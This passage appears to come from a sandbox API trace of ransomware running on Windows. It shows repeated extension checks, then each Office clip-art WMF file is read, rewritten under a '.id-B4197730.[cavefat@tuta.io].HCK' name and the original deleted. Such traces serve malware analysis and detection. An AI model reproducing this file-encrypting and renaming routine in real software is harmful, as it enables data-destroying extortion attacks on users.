(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0238.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.231] lstrlenW (lpString=".doc") returned 4 [0238.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.231] lstrlenW (lpString=".docx") returned 5 [0238.231] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.231] lstrlenW (lpString=".pdf") returned 4 [0238.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.231] lstrlenW (lpString=".xls") returned 4 [0238.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.231] lstrlenW (lpString=".xlsx") returned 5 [0238.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.231] lstrlenW (lpString=".ppt") returned 4 [0238.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.231] lstrlenW (lpString=".zip") returned 4 [0238.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.232] lstrlenW (lpString=".rar") returned 4 [0238.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".bz2") returned 4 [0238.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".7z") returned 3 [0238.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".dbf") returned 4 [0238.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".1cd") returned 4 [0238.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".jpg") returned 4 [0238.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".doc") returned 4 [0238.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".docx") returned 5 [0238.232] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.232] lstrlenW (lpString=".pdf") returned 4 [0238.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".xls") returned 4 [0238.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.232] lstrlenW (lpString=".xlsx") returned 5 [0238.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.232] lstrlenW (lpString=".ppt") returned 4 [0238.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".zip") returned 4 [0238.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.232] lstrlenW (lpString=".rar") returned 4 [0238.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".bz2") returned 4 [0238.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString=".7z") returned 3 [0238.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".dbf") returned 4 [0238.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.232] lstrlenW (lpString=".1cd") returned 4 [0238.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0238.233] lstrlenW (lpString=".jpg") returned 4 [0238.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.233] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.233] lstrlenW (lpString="J0152894.WMF") returned 12 [0238.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.233] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11348) returned 1 [0238.233] CloseHandle (hObject=0x560) returned 1 [0238.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220 [0238.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.234] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.234] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.235] GetLastError () returned 0x0 [0238.235] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2c54, lpOverlapped=0x0) returned 1 [0238.236] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2c60, lpOverlapped=0x0) returned 1 [0238.237] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.237] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.237] SetEndOfFile (hFile=0x554) returned 1 [0238.237] CloseHandle (hObject=0x554) returned 1 [0238.238] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.238] SetEndOfFile (hFile=0x560) returned 1 [0238.240] CloseHandle (hObject=0x560) returned 1 [0238.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0238.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.241] lstrlenW (lpString=".doc") returned 4 [0238.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.241] lstrlenW (lpString=".docx") returned 5 [0238.241] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0238.241] lstrlenW (lpString=".pdf") returned 4 [0238.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.241] lstrlenW (lpString=".xls") returned 4 [0238.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.241] lstrlenW (lpString=".xlsx") returned 5 [0238.241] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0238.241] lstrlenW (lpString=".ppt") returned 4 [0238.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.241] lstrlenW (lpString=".zip") returned 4 [0238.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.241] lstrlenW (lpString=".rar") returned 4 [0238.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.241] lstrlenW (lpString=".bz2") returned 4 [0238.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.241] lstrlenW (lpString=".7z") returned 3 [0238.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".dbf") returned 4 [0238.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".1cd") returned 4 [0238.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".jpg") returned 4 [0238.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".doc") returned 4 [0238.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString=".docx") returned 5 [0238.242] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0238.242] lstrlenW (lpString=".pdf") returned 4 [0238.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString=".xls") returned 4 [0238.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.242] lstrlenW (lpString=".xlsx") returned 5 [0238.242] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0238.242] lstrlenW (lpString=".ppt") returned 4 [0238.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".zip") returned 4 [0238.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.242] lstrlenW (lpString=".rar") returned 4 [0238.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString=".bz2") returned 4 [0238.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString=".7z") returned 3 [0238.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".dbf") returned 4 [0238.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".1cd") returned 4 [0238.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0238.242] lstrlenW (lpString=".jpg") returned 4 [0238.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.242] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.242] lstrlenW (lpString="J0152898.WMF") returned 12 [0238.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.244] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4496) returned 1 [0238.244] CloseHandle (hObject=0x560) returned 1 [0238.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220 [0238.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.244] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.244] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.245] GetLastError () returned 0x0 [0238.245] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1190, lpOverlapped=0x0) returned 1 [0238.246] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x11a0, lpOverlapped=0x0) returned 1 [0238.247] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.247] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.247] SetEndOfFile (hFile=0x554) returned 1 [0238.248] CloseHandle (hObject=0x554) returned 1 [0238.248] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.248] SetEndOfFile (hFile=0x560) returned 1 [0238.250] CloseHandle (hObject=0x560) returned 1 [0238.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".doc") returned 4 [0238.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString=".docx") returned 5 [0238.252] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0238.252] lstrlenW (lpString=".pdf") returned 4 [0238.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString=".xls") returned 4 [0238.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.252] lstrlenW (lpString=".xlsx") returned 5 [0238.252] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0238.252] lstrlenW (lpString=".ppt") returned 4 [0238.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".zip") returned 4 [0238.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.252] lstrlenW (lpString=".rar") returned 4 [0238.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString=".bz2") returned 4 [0238.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString=".7z") returned 3 [0238.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".dbf") returned 4 [0238.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".1cd") returned 4 [0238.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".jpg") returned 4 [0238.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.252] lstrlenW (lpString=".doc") returned 4 [0238.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.252] lstrlenW (lpString=".docx") returned 5 [0238.252] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0238.253] lstrlenW (lpString=".pdf") returned 4 [0238.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString=".xls") returned 4 [0238.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.253] lstrlenW (lpString=".xlsx") returned 5 [0238.253] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0238.253] lstrlenW (lpString=".ppt") returned 4 [0238.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.253] lstrlenW (lpString=".zip") returned 4 [0238.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.253] lstrlenW (lpString=".rar") returned 4 [0238.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString=".bz2") returned 4 [0238.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString=".7z") returned 3 [0238.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.253] lstrlenW (lpString=".dbf") returned 4 [0238.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.253] lstrlenW (lpString=".1cd") returned 4 [0238.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0238.253] lstrlenW (lpString=".jpg") returned 4 [0238.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.253] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.253] lstrlenW (lpString="J0153047.WMF") returned 12 [0238.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.254] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=33068) returned 1 [0238.254] CloseHandle (hObject=0x560) returned 1 [0238.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220 [0238.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.255] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.255] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.255] GetLastError () returned 0x0 [0238.255] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x812c, lpOverlapped=0x0) returned 1 [0238.257] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x8130, lpOverlapped=0x0) returned 1 [0238.258] ReadFile (in: hFile=0x560, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.258] WriteFile (in: hFile=0x554, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.259] SetEndOfFile (hFile=0x554) returned 1 [0238.259] CloseHandle (hObject=0x554) returned 1 [0238.259] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.259] SetEndOfFile (hFile=0x560) returned 1 [0238.262] CloseHandle (hObject=0x560) returned 1 [0238.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0238.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0238.263] lstrlenW (lpString=".doc") returned 4 [0238.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.263] lstrlenW (lpString=".docx") returned 5 [0238.263] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0238.263] lstrlenW 